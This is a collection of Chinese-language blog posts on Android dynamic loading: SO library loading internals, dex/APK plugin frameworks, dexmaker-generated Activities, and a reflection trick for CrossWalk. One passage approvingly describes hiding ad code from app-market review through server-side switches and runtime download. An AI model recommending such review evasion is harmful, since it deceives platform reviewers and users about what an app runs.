先看看loadLibrary，这里调用了Runtime的loadLibrary，进去一看，又是动态加载熟悉的ClassLoader了（这里也佐证了SO库的使用就是一种动态加载的说法）

    /*
     * Searches for and loads the given shared library using the given ClassLoader.
     */
    void loadLibrary(String libraryName, ClassLoader loader) {
        if (loader != null) {
            String filename = loader.findLibrary(libraryName);
            String error = doLoad(filename, loader);
            return;
        }
        ……
    }

看样子就像是通过库名获取一个文件路径，再调用“doLoad”方法加载这个文件，先看看“loader.findLibrary(libraryName)”

    protected String findLibrary(String libName) {
        return null;
    }

ClassLoader只是一个抽象类，它的大部分工作都在BaseDexClassLoader类中实现，进去看看

public class BaseDexClassLoader extends ClassLoader {
    public String findLibrary(String name) {
        throw new RuntimeException("Stub!");
    }
}

不对啊，这里只是抛了一个RuntimeException异常，什么都没做啊！

其实这里有一个误区，也是刚开始开Android SDK源码的同学容易搞混的。Android SDK自带的源码其实只是给我们开发者参考的，基本只是一些常用的类，Google不会把整个Android系统的源码都放到这里来，因为整个项目非常大，ClassLoader类平时我们接触得少，所以它的具体实现的源码并没有打包进SDK里，如果需要，我们要到官方AOSP项目里面去看（顺便一提，整个AOSP5.1项目大小超过150GB，真的有需要的话推荐用一个移动硬盘存储）。

这里为了方便，我们可以直接看在线的代码 BaseDexClassLoader.java

@Override
    public String findLibrary(String name) {
        return pathList.findLibrary(name);
    }

再看进去DexPathList类

/**
     * Finds the named native code library on any of the library
     * directories pointed at by this instance. This will find the
     * one in the earliest listed directory, ignoring any that are not
     * readable regular files.
     *
     * @return the complete path to the library or {@code null} if no
     * library was found
     */
    public String findLibrary(String libraryName) {
        String fileName = System.mapLibraryName(libraryName);
        for (File directory : nativeLibraryDirectories) {
            File file = new File(directory, fileName);
            if (file.exists() && file.isFile() && file.canRead()) {
                return file.getPath();
            }
        }
        return null;
    }

到这里已经明朗了，根据传进来的libName，扫描APK内部的nativeLibrary目录，获取并返回内部SO库文件的完整路径filename。再回到Runtime类，获取filename后调用了“doLoad”方法，看看

private String doLoad(String name, ClassLoader loader) {
        String ldLibraryPath = null;
        String dexPath = null;
        if (loader == null) {
            ldLibraryPath = System.getProperty("java.library.path");
        } else if (loader instanceof BaseDexClassLoader) {
            BaseDexClassLoader dexClassLoader = (BaseDexClassLoader) loader;
            ldLibraryPath = dexClassLoader.getLdLibraryPath();
        }
        synchronized (this) {
            return nativeLoad(name, loader, ldLibraryPath);
        }
    }

到这里就彻底清楚了，调用Native方法“nativeLoad”，通过完整的SO库路径filename，把目标SO库加载进来。

说了半天还没有进入正题呢，不过我们可以想到，如果使用loadLibrary方法，到最后还是要找到目标SO库的完整路径，再把SO库加载进来，那我们能不能一开始就给出SO库的完整路径，然后直接加载进来？我们猜想load方法就是干这个的，看看。

void load(String absolutePath, ClassLoader loader) {
        if (absolutePath == null) {
            throw new NullPointerException("absolutePath == null");
        }
        String error = doLoad(absolutePath, loader);
        if (error != null) {
            throw new UnsatisfiedLinkError(error);
        }
    }

我勒个去，一上来就直接来到doLoad方法了，这证明我们的猜想可能是正确的，那么在实际项目中测试看看吧！

我们先把SO放在Asset里，然后再复制到内部存储，再使用load方法把其加载进来。

public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        File dir = this.getDir("jniLibs", Activity.MODE_PRIVATE);
        File distFile = new File(dir.getAbsolutePath() + File.separator + "libstackblur.so");

        if (copyFileFromAssets(this, "libstackblur.so", distFile.getAbsolutePath())){
            //使用load方法加载内部储存的SO库
            System.load(distFile.getAbsolutePath());
            NativeBlurProcess.isLoadLibraryOk.set(true);
        }
    }

    public void onDoBlur(View view){
        ImageView imageView = (ImageView) findViewById(R.id.iv_app);
        Bitmap bitmap = BitmapFactory.decodeResource(getResources(), android.R.drawable.sym_def_app_icon);
        Bitmap blur = NativeBlurProcess.blur(bitmap,20,false);
        imageView.setImageBitmap(blur);
    }


    public static boolean copyFileFromAssets(Context context, String fileName, String path) {
        boolean copyIsFinish = false;
        try {
            InputStream is = context.getAssets().open(fileName);
            File file = new File(path);
            file.createNewFile();
            FileOutputStream fos = new FileOutputStream(file);
            byte[] temp = new byte[1024];
            int i = 0;
            while ((i = is.read(temp)) > 0) {
                fos.write(temp, 0, i);
            }
            fos.close();
            is.close();
            copyIsFinish = true;
        } catch (IOException e) {
            e.printStackTrace();
            Log.e("MainActivity", "[copyFileFromAssets] IOException "+e.toString());
        }
        return copyIsFinish;
    }
}

点击onDoBlur按钮，果然加载成功了！


那能不能直接加载外部存储上面的SO库呢，把SO库拷贝到SD卡上面试试。


看起来是不可以的样子，Permission denied！

java.lang.UnsatisfiedLinkError: dlopen failed: couldn't map "/storage/emulated/0/libstackblur.so" segment 1: Permission denied



看起来像是没有权限的样子，看看源码哪里抛出的异常吧

    /*
     * Loads the given shared library using the given ClassLoader.
     */
    void load(String absolutePath, ClassLoader loader) {
        if (absolutePath == null) {
            throw new NullPointerException("absolutePath == null");
        }
        String error = doLoad(absolutePath, loader);
        if (error != null) {
            // 这里抛出的异常
            throw new UnsatisfiedLinkError(error);
        }
    }

应该是执行doLoad方法时出现了错误，但是上面也看过了，doLoad方法里调用了Native方法“nativeLoad”，那应该就是Native代码里出现的错误。平时我很少看到Native里面，上一次看的时候，是因为需要看看点九图NinePathDrawable的缩放控制信息chunk数组的具体作用是怎么样，费了好久才找到我想要的一小段代码。所以这里就暂时不跟进去了，有兴趣的同学可以告诉我关键代码的位置。

我在一个Google的开发者论坛上找到了一些答案

The SD Card is mounted noexec, so I'm not sure this will work.



Moreover, using the SD Card as a storage location is a really bad idea, since any other application can modify/delete/corrupt it easily.
Try downloading the library to your application's data directory instead, and load it from here.

这也容易理解，SD卡等外部存储路径是一种可拆卸的（mounted）不可执行（noexec）的储存媒介，不能直接用来作为可执行文件的运行目录，使用前应该把可执行文件复制到APP内部存储再运行。

最后，我们也可以看看官方的API文档


看来load方法的用途和我们理解的一致，文档里说的shared library就是指SO库（shared object），至此，我们就可以把SO文件移动到外部存储了，或者从网络下载都行。
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我们很早开始就在Android项目中采用了动态加载技术，主要目的是为了达到让用户不用重新安装APK就能升级应用的功能（特别是 SDK项目），这样一来不但可以大大提高应用新版本的覆盖率，也减少了服务器对旧版本接口兼容的压力，同时如果也可以快速修复一些线上的BUG。

这种技术并不是常规的Android开发方式，早期并没有完善的解决方案。从“不明觉厉”到稳定投入生产，一直以来我总想对此编写一些文档，这也是这篇日志的由来，没想到前前后后竟然拖沓着编辑了一年多，所以日志里有的地方思路可能有点衔接得不是很好，如果有修正建议请直接回复。

技术背景

通过服务器配置一些参数，Android APP获取这些参数再做出相应的逻辑，这是常有的事情。

比如现在大部分APP都有一个启动页面，如果到了一些重要的节日，APP的服务器会配置一些与时节相关的图片，APP启动时候再把原有的启动图换成这些新的图片，这样就能提高用户的体验了。

再则，早期个人开发者在安卓市场上发布应用的时候，如果应用里包含有广告，那么有可能会审核不通过。那么就通过在服务器配置一个开关，审核应用的时候先把开关关闭，这样应用就不会显示广告了；安卓市场审核通过后，再把服务器的广告开关给打开，以这样的手段规避市场的审核。

道高一尺魔高一丈。安卓市场开始扫描APK里面的Manifest甚至dex文件，查看开发者的APK包里是否有广告的代码，如果有就有可能审核不通过。

通过服务器怕配置开关参数的方法行不通了，开发者们开始想，“既然这样，能不能先不要在APK写广告的代码，在用户运行APP的时候，再从服务器下载广告的代码，运行，再现实广告呢？”。答案是肯定的，这就是动态加载：

在程序运行的时候，加载一些程序自身原本不存在的可执行文件并运行这些文件里的代码逻辑。



看起来就像是应用从服务器下载了一些代码，然后再执行这些代码！

传统PC软件中的动态加载技术

动态加载技术在PC软件领域广泛使用，比如输入法的截图功能。刚刚安装好的输入法软件可能没有截图功能，当你第一次使用的时候，输入法会先从服务器下载并安装截图软件，然后再执行截图功能。

此外，许多的PC软件的安装目录里面都有大量的DLL文件（Dynamic Link Library）,PC软件则是通过调用这些DLL里面的代码执行特定的功能的，这就是一种动态加载技术。

熟悉Java的同学应该比较清楚，Java的可执行文件是Jar，运行在虚拟机上JVM上，虚拟机通过ClassLoader加载Jar文件并执行里面的代码。所以Java程序也可以通过动态调用Jar文件达到动态加载的目的。

Android应用的动态加载技术

Android应用类似于Java程序，虚拟机换成了Dalvik/ART，而Jar换成了Dex。在Android APP运行的时候，我们是不是也可以通过下载新的应用，或者通过调用外部的Dex文件来实现动态加载呢？

然而在Android上实现起来可没那么容易，如果下载一个新的APK下来，不安装这个APK的话可不能运行。如果让用户手动安装完这个APK再启动，那可不像是动态加载，纯粹就是用户安装了一个新的应用，然后再启动这个新的应用（这种做法也叫做“静默安装”）。

动态调用外部的Dex文件则是完全没有问题的。在APK文件中往往有一个或者多个Dex文件，我们写的每一句代码都会被编译到这些文件里面，Android应用运行的时候就是通过执行这些Dex文件完成应用的功能的。虽然一个APK一旦构建出来，我们是无法更换里面的Dex文件的，但是我们可以通过加载外部的Dex文件来实现动态加载，这个外部文件可以放在外部存储，或者从网络下载。

动态加载的定义

开始正题之前，在这里可以先给动态加载技术做一个简单的定义。真正的动态加载应该是


	应用在运行的时候通过加载一些本地不存在的可执行文件实现一些特定的功能;


	这些可执行文件是可以替换的;


	更换静态资源（比如换启动图、换主题、或者用服务器参数开关控制广告的隐藏现实等）不属于 动态加载;


	Android中动态加载的核心思想是动态调用外部的 dex文件，极端的情况下，Android APK自身带有的Dex文件只是一个程序的入口（或者说空壳），所有的功能都通过从服务器下载最新的Dex文件完成;




Android动态加载的类型

Android项目中，动态加载技术按照加载的可执行文件的不同大致可以分为两种：


	动态加载so库；


	动态加载dex/jar/apk文件（现在动态加载普遍说的是这种）；




其一，Android中NDK中其实就使用了动态加载，动态加载.so库并通过JNI调用其封装好的方法。后者一般是由C/C++编译而成，运行在Native层，效率会比执行在虚拟机层的Java代码高很多，所以Android中经常通过动态加载.so库来完成一些对性能比较有需求的工作（比如T9搜索、或者Bitmap的解码、图片高斯模糊处理等）。此外，由于so库是由C/C++编译而来的，只能被反编译成汇编代码，相比中dex文件反编译得到的Smali代码更难被破解，因此so库也可以被用于安全领域。这里为后面要讲的内容提前说明一下，一般情况下我们是把so库一并打包在APK内部的，但是so库其实也是可以从外部存储文件加载的。

其二，“基于ClassLoader的动态加载dex/jar/apk文件”，就是我们上面提到的“在Android中动态加载由Java代码编译而来的dex包并执行其中的代码逻辑”，这是常规Android开发比较少用到的一种技术，目前网络上大多文章说到的动态加载指的就是这种（后面我们谈到“动态加载”如果没有特别指定，均默认是这种）。

Android项目中，所有Java代码都会被编译成dex文件，Android应用运行时，就是通过执行dex文件里的业务代码逻辑来工作的。使用动态加载技术可以在Android应用运行时加载外部的dex文件，而通过网络下载新的dex文件并替换原有的dex文件就可以达到不安装新APK文件就升级应用（改变代码逻辑）的目的。同时，使用动态加载技术，一般来说会使得Android开发工作变得更加复杂，这中开发方式不是官方推荐的，不是目前主流的Android开发方式，Github 和 StackOverflow 上面外国的开发者也对此不是很感兴趣，外国相关的教程更是少得可怜，目前只有在大天朝才有比较深入的研究和应用，特别是一些SDK组件项目和 BAT家族 的项目上，Github上的相关开源项目基本是国人在维护，偶尔有几个外国人请求更新英文文档。

Android动态加载的大致过程

无论上面的哪种动态加载，其实基本原理都是在程序运行时加载一些外部的可执行的文件，然后调用这些文件的某个方法执行业务逻辑。需要说明的是，因为文件是可执行的（so库或者dex包，也就是一种动态链接库），出于安全问题，Android并不允许直接加载手机外部存储这类noexec（不可执行）存储路径上的可执行文件。

对于这些外部的可执行文件，在Android应用中调用它们前，都要先把他们拷贝到data/packagename/内部储存文件路径，确保库不会被第三方应用恶意修改或拦截，然后再将他们加载到当前的运行环境并调用需要的方法执行相应的逻辑，从而实现动态调用。

动态加载的大致过程就是：


	把可执行文件（.so/dex/jar/apk）拷贝到应用APP内部存储；


	加载可执行文件；


	调用具体的方法执行业务逻辑；








以下分别对这两种动态加载的实现方式做比较深入的介绍。

动态加载 so库


动态加载so库应该就是Android最早期的动态加载了，不过so库不仅可以存放在APK文件内部，还可以存放在外部存储。Android开发中，更换so库的情形并不多，但是可以通过把so库挪动到APK外部，减少APK的体积，毕竟许多so库文件的体积可是非常大的。

详细的应用方式请参考后续日志 Android动态加载补充 加载SD卡的SO库。

动态加载 dex/jar/apk文件


我们经常讲到的那种Android动态加载技术就是这种，后面我们谈到“动态加载”如果没有特别指定，均默认是这个。

基础知识：类加载器ClassLoader和dex文件

动态加载dex/jar/apk文件的基础是类加载器ClassLoader，它的包路径是java.lang，由此可见其重要性，虚拟机就是通过类加载器加载其需要用的Class，这是Java程序运行的基础。

关于类加载器ClassLoader的工作机制，请参考 Android动态加载基础 ClassLoader的工作机制。

现在网上有多种基于ClassLoader的Android动态加载的开源项目，大部分核心思想都殊途同归，按照复杂程度以及具体实现的框架，大致可以分为以下三种形式，或者说模式 [1]。

简单的动态加载模式

理解ClassLoader的工作机制后，我们知道了Android应用在运行时使用ClassLoader动态加载外部的dex文件非常简单，不用覆盖安装新的APK，就可以更改APP的代码逻辑。但是Android却很难使用插件APK里的res资源，这意味着无法使用新的XML布局等资源，同时由于无法更改本地的Manifest清单文件，所以无法启动新的Activity等组件。

不过可以先把要用到的全部res资源都放到主APK里面，同时把所有需要的Activity先全部写进Manifest里，只通过动态加载更新代码，不更新res资源，如果需要改动UI界面，可以通过使用纯Java代码创建布局的方式绕开XML布局。同时也可以使用Fragment代替Activity，这样可以最大限度得避开“无法注册新组件的限制”。

某种程度上，简单的动态加载功能已经能满足部分业务需求了，特别是一些早期的Android项目，那时候Android的技术还不是很成熟，而且早期的Android设备更是有大量的兼容性问题（做过Android1.6兼容的同学可能深有体会），只有这种简单的加载方式才能稳定运行。这种模式的框架比较适用一些UI变化比较少的项目，比如游戏SDK，基本就只有登陆、注册界面，而且基本不会变动，更新的往往只有代码逻辑。

详细的应用方式请参考后续日志 Android动态加载入门 简单加载模式。

代理Activity模式

简单加载模式还是不够用，所以代理模式出现了。从这个阶段开始就稍微有点“黑科技”的味道了，比如我们可以通过动态加载，让现在的Android应用启动一些“新”的Activity，甚至不用安装就启动一个“新”的APK。宿主APK[2]需要先注册一个空壳的Activity用于代理执行插件APK的Activity的生命周期。

主要有以下特点：


	宿主APK可以启动未安装的插件APK；


	插件APK也可以作为一个普通APK安装并且启动；


	插件APK可以调用宿主APK里的一些功能；


	宿主APK和插件APK都要接入一套指定的接口框架才能实现以上功能；




同时也主要有一下几点限制：


	需要在Manifest注册的功能都无法在插件实现，比如应用权限、LaunchMode、静态广播等；


	宿主一个代理用的Activity难以满足插件一些特殊的Activity的需求，插件Activity的开发受限于代理Activity；


	宿主项目和插件项目的开发都要接入共同的框架，大多时候，插件需要依附宿主才能运行，无法独立运行；




详细的应用方式请参考后续日志 Android动态加载进阶 代理Activity模式。

代理Activity模式的核心在于“使用宿主的一个代理Activity为插件所有的Activity提供组件工作需要的环境”，随着代理模式的逐渐成熟，现在还出现了“使用Hack手段给插件的Activity注入环境”的模式，这里暂时不展开，以后会继续分析。

我们目前有投入到生产中的开发方式只有简单模式和代理模式，在设计的前期遇到不少兼容性的问题，不过好在Android 4.0以后的机型上就比较少了。

动态创建Activity模式

天了噜，到了这个阶段就真的是“黑科技”的领域了，从而使其可以正常运行。可以试想“从网络下载一个Flappy Bird的APK，不用安装就直接运行游戏”，或者“同时运行两个甚至多个微信”。

动态创建Activity模式的核心是“运行时字节码操作”，现在宿主注册一个不存在的Activity，启动插件的某个Activity时都把想要启动的Activity替换成前面注册的Activity，从而是后者能正常启动。

这个模式有以下特点：


	主APK可以启动一个未安装的插件APK；


	插件APK可以是任意第三方APK，无需接入指定的接口，理所当然也可以独立运行；




详细的应用方式请参考后续日志 Android动态加载黑科技 动态创建Activity模式。

为什么我们要使用动态加载技术

说实话，作为开发我们也不想使用的，这是产品要求的！（警察蜀黍就是他，他只问我能不能实现，并木有问我实现起来难不难……好吧我们知道他们也没得选。）

Android开发中，最先使用动态加载技术的应该是SDK项目吧。现在网上有一大堆Android SDK项目，比如Google的Goole Play Service，向开发者提供支付、地图等功能，又比如一些Android游戏市场的SDK，用于向游戏开发者提供账号和支付功能。和普通Android应用一样，这些SDK项目也是要升级的，比如现在别人的Android应用里使用了我们的SDK1.0版本，然后发布到安卓市场上去。现在我们发现SDK1.0有一些紧急的BUG，所以升级了一个SDK1.1版本，没办法，只能让人家重新接入1.1版本再发布到市场。万一我们有SDK1.2、1.3等版本呢，本来让人家每个版本都重新接入也无可厚非，不过产品可关心体验啊，他就会问咯，“虽然我不懂技术，但是我想知道有没有办法，能让人家只接入一次我们的SDK，以后我们发布新的SDK版本的时候他们的项目也能跟着自动升级？”，答曰，“有，使用动态加载的技术能办到，只不过（开发工作量会剧增…）”，“那就用吧，我们要把产品的体验做到极致”。

好吧，我并没有黑产品的意思，现在团队的产品也不错，不过与上面类似的对话确实发生在我以前的项目里。这里提出来只是为了强调一下Android项目中采用动态加载技术的 作用 以及由此带来的 代价。

作用与代价

凡事都有两面性，特别是这种 非官方支持 的 非常规 开发方式，在采用前一定要权衡清楚其作用与代价。如果决定了要采用动态加载技术，个人推荐可以现在实际项目的一些比较独立的模块使用这种框架，把遇到的一些问题解决之后，再慢慢引进到项目的核心模块；如果遇到了一些无法跨越的问题，要有能够迅速投入生产的替代方案。

作用


	规避APK覆盖安装的升级过程，提高用户体验，顺便能 规避 一些安卓市场的限制；


	动态修复应用的一些 紧急BUG，做好最后一道保障；


	当应用体积太庞大的时候，可以把一些模块通过动态加载以插件的形式分割出去，这样可以减少主项目的体积，提高项目的编译速度，也能让主项目和插件项目并行开发；


	插件模块可以用懒加载的方式在需要的时候才初始化，从而 提高应用的启动速度；


	从项目管理上来看，分割插件模块的方式做到了 项目级别的代码分离，大大降低模块之间的耦合度，同一个项目能够分割出不同模块在多个开发团队之间 并行开发，如果出现BUG也容易定位问题；


	在Android应用上 推广 其他应用的时候，可以使用动态加载技术让用户优先体验新应用的功能，而不用下载并安装全新的APK；


	减少主项目DEX的方法数，65535问题 彻底成为历史（虽然现在在Android Studio中很容易开启MultiDex，这个问题也不难解决）；




代价


	开发方式可能变得比较诡异、繁琐，与常规开发方式不同；


	随着动态加载框架复杂程度的加深，项目的构建过程也变得复杂，有可能要主项目和插件项目分别构建，再整合到一起；


	由于插件项目是独立开发的，当主项目加载插件运行时，插件的运行环境已经完全不同，代码逻辑容易出现BUG，而且在主项目中调试插件十分繁琐；


	非常规的开发方式，有些框架使用反射强行调用了部分Android系统Framework层的代码，部分Android ROM可能已经改动了这些代码，所以有存在兼容性问题的风险，特别是在一些古老Android设备和部分三星的手机上；


	采用动态加载的插件在使用系统资源（特别是Theme）时经常有一些兼容性问题，特别是部分三星的手机；




其他动态修改代码的技术

上面说到的都是基于ClassLoader的动态加载技术（除了加载SO库外），使用ClassLoader的一个特点就是，如果程序不重新启动，加载过一次的类就无法重新加载。因此，如果使用ClassLoader来动态升级APP或者动态修复BUG，都需要重新启动APP才能生效。

除了使用ClassLoader外，还可以使用jni hook的方式修改程序的执行代码。前者是在虚拟机上操作的，而后者做的已经是Native层级的工作了，直接修改应用运行时的内存地址，所以使用jni hook的方式时，不用重新应用就能生效。

目前采用jni hook方案的项目中比较热门的有阿里的dexposed和AndFix，有兴趣的同学可以参考 各大热补丁方案分析和比较。

动态加载开源项目


	ACDD


	DL dynamic-load-apk


	android-pluginmgr


	Direct-Load-apk


	360 DroidPlugin


	携程网 DynamicAPK


	女娲 Nuwa


	Android-Plugin-Framework




脚注

[1] 其实也说不上什么模式，这不过这些动态加载的开发方式都有自己明显的特征，所以姑且用“形式或者模式”来称呼好了。

[2] 为了方便区分概念，阐述一些术语：
宿主：Host，主项目APK、主APK，也就是我们希望采用动态加载技术的主项目；
插件：Plugin，可以是dex、jar或者apk文件，从主项目分离开来，我们能通过动态加载加载到主项目里面来的模块，一个主APK可以同时加载多个插件APK；


 CrossWalk - android 动态加载so库文件实践

作者：Gemini

来源： CrossWalk - android 动态加载so库文件实践



                    
之前看到简书Android客户端使用的编辑器，甚是喜欢，它的优雅以及高性能的特点让我爱不释手，很想自己也去做一个。

此前实现过一个在Android上的Markdown编辑器

但是界面以及所见即所得的效果非常不好看，所以一直耿耿于怀。


然后冒昧看了下简书的布局系统，看见了几个奇怪的类，包括类似XWalkContentView，于是Google了下，就查到了CrossWalk这个hybrid框架了。第一眼并不觉得它有啥不一样，以为是一个Cordova的轮子。后来细看，发现是自个儿编辑了整个Chrominum，屌屌屌!


运行个demo，wrapper了一个http://sf.gg 发现体验真的是不错啊，webview性能到这个水平内心都宽慰了，但是为何安装速度那么慢呢？一看apk大小，足足有40M+，感觉天都要塌了。SegmentFault for Android 客户端才3.03M，我要是包上这玩意，估计就没多少人下了吧。。。然后又看看简书，整个apk大小才8M，在启动编辑器的时候，提示需要下载编辑器，下载了一会，然后再打开。顿时就明白了，看来它的库是从外部载入的，记得以前看到过从外部加载动态链接库想想很是简单，于是入坑了。


好嘛，我把so文件先不放进apk中，让apk装好之后，放入/data/data/<app>/lib目录下，启动app，直接crash。

看日志入下:



  DavlikDexClassLoader Unsatisfied Link library['/xxxx/xxx.apk', '/vendor/lib', '/system/lib']




一看这个路径，泪奔了，原来library path只有三个路径下去检查，算了，我们不是有System.load和System.loadLibrary函数么，直接调用呗，于是我就先暂时把绝对路径给写了下来，直接调用System.load函数。


再次启动，发现CrossWalk报Shared Library should use SharedXWalkView。但是使用SharedXWalkView有许多的限制，比如需要安装一个CrossWalk Runtime的apk，奇怪了，它怎么知道我是用Shared Library的呢？而且简书也没有说要安装apk啊。


于是我继续研究，开始看CrossWalk的源码，找到ReflectionHelper这个类里面有一行代码shouldUseLibrary()，它会去调用System.loadLibrary()如果没有报异常，则返回false，否则返回true。


我们知道System.loadLibrary这个函数，会去java.library.path这个环境变量的路径下面寻找库，而Android是不允许我们更改这个环境变量的值的，就导致CrossWalk认为并没有加载它的runtime而去开启Shared模式。


OK，知道怎么解决就方便了，首先，我们要把so文件放入到/data/data/<app>/下的任意路径，因为我们的apk有这个权限在这里放东西，然后使用System.load加载这个so库，最后使用反射的方式欺骗CrossWalk框架，告诉它我们的类库已经加载完毕。


我们仔细研究下它的源码，发现有几个标志位需要更改，具体代码如下：


System.load(libPath);
try {
    LibraryLoader loader = LibraryLoader.get(1);
    Class c = Class.forName("org.xwalk.core.internal.XWalkViewDelegate");
    Field field = c.getDeclaredField("sLibraryLoaded");
    field.setAccessible(true);
    field.setBoolean(null, true);
    field.setAccessible(false);

    field = LibraryLoader.class.getDeclaredField("mLoaded");
    field.setAccessible(true);
    field.setBoolean(loader, true);
    field.setAccessible(false);
    PathUtils.setPrivateDataDirectorySuffix("xwalkcore");

} catch (NoSuchFieldException e) {
    e.printStackTrace();
} catch (IllegalAccessException e) {
    e.printStackTrace();
} catch (ClassNotFoundException e) {
    e.printStackTrace();
} catch (ProcessInitException e) {
    e.printStackTrace();
}



只要把以上的类中的标志位更改掉，那么CrossWalk就认为库已经加载成功了。


 Android动态加载黑科技 动态创建Activity模式

作者：Kaede

来源： Android动态加载黑科技 动态创建Activity模式



                    
基本信息


	Author：kaedea


	GitHub：android-dynamical-loading




代理Activity模式的限制

还记得我们在代理Activity模式里谈到启动插件APK里的Activity的两个难题吗，由于插件里的Activity没在主项目的Manifest里面注册，所以无法经历系统Framework层级的一系列初始化过程，最终导致获得的Activity实例并没有生命周期和无法使用res资源。

使用代理Activity能够解决这两个问题，但是有一些限制


	实际运行的Activity实例其实都是ProxyActivity，并不是真正想要启动的Activity；


	ProxyActivity只能指定一种LaunchMode，所以插件里的Activity无法自定义LaunchMode；


	不支持静态注册的BroadcastReceiver；


	往往不是所有的apk都可作为插件被加载，插件项目需要依赖特定的框架，还有需要遵循一定的"开发规范"；




特别是最后一个，无法直接把一个普通的APK作为插件使用。怎么避开这些限制呢？插件的Activity不是标准的Activity对象才会有这些限制，使其成为标准的Activity是解决问题的关键，而要使其成为标准的Activity，则需要在主项目里注册这些Activity。

总不能把插件APK所有的Activity都事先注册到主项目里面吧，想到代理模式需要注册一个代理的ProxyActivity，那么能不能在主项目里注册一个通用的Activity（比如TargetActivity）给插件里所有的Activity用呢？解决对策就是，在需要启动插件的某一个Activity（比如PlugActivity）的时候，动态创建一个TargetActivity，新创建的TargetActivity会继承PlugActivity的所有共有行为，而这个TargetActivity的包名与类名刚好与我们事先注册的TargetActivity一致，我们就能以标准的方式启动这个Activity。

动态创建Activity模式

运行时动态创建并编译一个Activity类，这种想法不是天方夜谭，动态创建类的工具有dexmaker和asmdex，二者均能实现动态字节码操作，最大的区别是前者是创建dex文件，而后者是创建class文件。

使用dexmaker动态创建一个类

运行时创建一个编译好并能运行的类叫做“动态字节码操作（runtime bytecode manipulation）”，使用dexmaker工具能创建一个dex文件，之后我们再反编译这个dex看看创建出来的类是什么样子。

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }

    public void onMakeDex(View view){
        try {
            DexMaker dexMaker = new DexMaker();
            // Generate a HelloWorld class.
            TypeId<?> helloWorld = TypeId.get("LHelloWorld;");
            dexMaker.declare(helloWorld, "HelloWorld.generated", Modifier.PUBLIC, TypeId.OBJECT);
            generateHelloMethod(dexMaker, helloWorld);
            // Create the dex file and load it.
            File outputDir = new File(Environment.getExternalStorageDirectory() + File.separator + "dexmaker");
            if (!outputDir.exists())outputDir.mkdir();
            ClassLoader loader = dexMaker.generateAndLoad(this.getClassLoader(), outputDir);
            Class<?> helloWorldClass = loader.loadClass("HelloWorld");
            // Execute our newly-generated code in-process.
            helloWorldClass.getMethod("hello").invoke(null);
        } catch (Exception e) {
            Log.e("MainActivity","[onMakeDex]",e);
        }
    }

    /**
     * Generates Dalvik bytecode equivalent to the following method.
     *    public static void hello() {
     *        int a = 0xabcd;
     *        int b = 0xaaaa;
     *        int c = a - b;
     *        String s = Integer.toHexString(c);
     *        System.out.println(s);
     *        return;
     *    }
     */
    private static void generateHelloMethod(DexMaker dexMaker, TypeId<?> declaringType) {
        // Lookup some types we'll need along the way.
        TypeId<System> systemType = TypeId.get(System.class);
        TypeId<PrintStream> printStreamType = TypeId.get(PrintStream.class);

        // Identify the 'hello()' method on declaringType.
        MethodId hello = declaringType.getMethod(TypeId.VOID, "hello");

        // Declare that method on the dexMaker. Use the returned Code instance
        // as a builder that we can append instructions to.
        Code code = dexMaker.declare(hello, Modifier.STATIC | Modifier.PUBLIC);

        // Declare all the locals we'll need up front. The API requires this.
        Local<Integer> a = code.newLocal(TypeId.INT);
        Local<Integer> b = code.newLocal(TypeId.INT);
        Local<Integer> c = code.newLocal(TypeId.INT);
        Local<String> s = code.newLocal(TypeId.STRING);
        Local<PrintStream> localSystemOut = code.newLocal(printStreamType);

        // int a = 0xabcd;
        code.loadConstant(a, 0xabcd);

        // int b = 0xaaaa;
        code.loadConstant(b, 0xaaaa);

        // int c = a - b;
        code.op(BinaryOp.SUBTRACT, c, a, b);

        // String s = Integer.toHexString(c);
        MethodId<Integer, String> toHexString
                = TypeId.get(Integer.class).getMethod(TypeId.STRING, "toHexString", TypeId.INT);
        code.invokeStatic(toHexString, s, c);

        // System.out.println(s);
        FieldId<System, PrintStream> systemOutField = systemType.getField(printStreamType, "out");
        code.sget(systemOutField, localSystemOut);
        MethodId<PrintStream, Void> printlnMethod = printStreamType.getMethod(
                TypeId.VOID, "println", TypeId.STRING);
        code.invokeVirtual(printlnMethod, null, localSystemOut, s);

        // return;
        code.returnVoid();
    }
    
}

运行后在SD卡的dexmaker目录下找到刚创建的文件“Generated1532509318.jar”，把里面的“classes.dex”解压出来，然后再用“dex2jar”工具转化成jar文件，最后再用“jd-gui”工具反编译jar的源码。


至此，已经成功在运行时创建一个编译好的类。

修改需要启动的目标Activity

接下来的问题是如何把需要启动的、在Manifest里面没有注册的PlugActivity换成有注册的TargetActivity。

在Android，虚拟机加载类的时候，是通过ClassLoader的loadClass方法，而loadClass方法并不是final类型的，这意味着我们可以创建自己的类去继承ClassLoader，以重载loadClass方法并改写类的加载逻辑，在需要加载PlugActivity的时候，偷偷把其换成TargetActivity。

大致思路如下

public class CJClassLoader extends ClassLoader{

@override
    public Class loadClass(String className){
      if(当前上下文插件不为空) {
        if( className 是 TargetActivity){
             找到当前实际要加载的原始PlugActivity，动态创建类（TargetActivity extends PlugActivity ）的dex文件
             return  从dex文件中加载的TargetActivity
        }else{
             return  使用对应的PluginClassLoader加载普通类
        }  
     }else{
         return super.loadClass() //使用原来的类加载方法
     }   
    } 
}

这样就能把启动插件里的PlugActivity变成启动动态创建的TargetActivity。

不过还有一个问题，主项目启动插件Activity的时候，我们可以替换Activity，但是如果在插件Activity（比如MainActivity）启动另一个Activity（SubActivity）的时候怎么办？插件时普通的第三方APK，我们无法更改里面跳转Activity的逻辑。其实，从主项目启动插件MainActivity的时候，其实启动的是我们动态创建的TargetActivity（extends MainActivity），而我们知道Activity启动另一个Activity的时候都是使用其“startActivityForResult”方法，所以我们可以在创建TargetActivity时，重写其“startActivityForResult”方法，让它在启动其他Activity的时候，也采用动态创建Activity的方式，这样就能解决问题。

动态创建Activity开源项目 android-pluginmgr


这种脑洞大开的动态加载思路来自于houkx的开源项目android-pluginmgr



android-pluginmgr；项目中有三种ClassLoader，一是用于替换宿主APK的Application的CJClassLoader，二是用于加载插件APK的PluginClassLoader，再来是用于加载启动插件Activity时动态生成的PlugActivity的dex包的DexClassLoader（存放在Map集合proxyActivityLoaderMap里面）。其中CJClassLoader是PluginClassLoader的Parent，而PluginClassLoader又是第三种DexClassLoader的Parent。

